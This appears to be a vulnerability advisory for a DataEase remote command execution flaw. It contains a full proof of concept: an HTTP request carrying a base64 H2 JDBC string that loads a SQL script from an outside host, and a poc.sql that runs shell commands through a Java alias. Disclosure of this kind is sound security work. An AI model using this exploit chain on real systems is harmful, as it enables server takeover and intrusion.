Description

Impact

An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.

request message:

POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt

    "id": "",
    "name": "test",
    "type": "h2",
    "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}

h2 data source connection string:

// configuration
{
    "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}

the content of poc.sql:

// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')

You can see that the file was created successfully in docker:

/tmp # ls -l jdbch2rce 
-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce
